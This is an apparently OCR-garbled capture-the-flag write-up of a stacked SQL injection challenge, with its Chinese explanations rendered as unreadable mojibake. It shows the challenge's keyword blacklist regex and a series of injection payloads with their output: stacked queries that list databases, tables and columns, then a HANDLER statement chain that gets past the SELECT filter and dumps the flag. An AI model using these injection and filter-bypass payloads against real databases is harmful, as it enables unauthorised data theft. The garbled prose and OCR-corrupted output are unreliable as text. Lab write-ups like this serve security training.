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Black list is so weak for you,isn't it
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array(2) {

[0]=>

string(l) "1"

[1]=>

string(7) "hahahah"
}
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array(2) {

[0]=>
string(l) "2"
['L]==

n

string(12) "miaomiaomiao'’

mEA 2, ATLLAIRH R R AN
N select , BrE & AL :

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

return preg _match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",
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BEPRBISCHE T show , Fir LB HEBIE N EFEA:

1';show databases;#



array(2) {
[0]=>
string(l) "1"
[1]=>
string(7) "hahahah"

array(1l) {

[0]=>

string(1ll) "ctftraining"
}

array(l) {
[0]=>
string(18) "information schema"

}

array(l) {

[0]=>

string(5) "mysql"
}

array(l) {
[0]=>
string(18) "performance schema'

}

L]

array(l) {
[0]=>
string(9) "supersqgli”

}

array(l) {

[0]=>

string(4) "test"
}

ARELIRIRA -

1';show tables;



array(2) {
[0]=>
string(l) "1"
[1]1=~
string(7) "hahahah"

array(l) {

[0]=>

string(8) "FlagHere'
}

array(l) {
[0]=>
string(5) "words"

}

RN AE: FlagHere Al words , £ 1f] FlagHere K H FELNLE:

1';desc FlagHere;



array(2) {

[0]=>
string(l) "1"
[1]=>

string(7) "hahahah"
}

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]1=>
string(0) ""

32iflagyl, HENILN Aflag, ZAGRDOLNE, (HEFE T select #FR#I, A TRME A1 HANDLER P fE N A iG], HPERE
bt select H4F, PRUONHINIESQLERHENE, 7T CLREARILALES XS T SQLIE A HIARIT SOCALTT4Y, TS h & TERE .

H ARG

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { } (valuel,value2,..) [ WHERE where_condition ] [LIMIT .. ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT .. ]

HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT .. ]
HANDLER tbl_name CLOSE

HANDLER 7] DUl 45 5 B2 51 U5 il Bdls . (HEVEIEAS SRR DMLER{E

Al k& R Payload:

1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#



array(l) {

[0]=>

string(42) "flag{7cl4734e-c625-42c1-88c0-4f12d86fcde7}"
}

W2 HANDLER M FlagHere %, BEHUE — AR I1ExR, SRJEKM.
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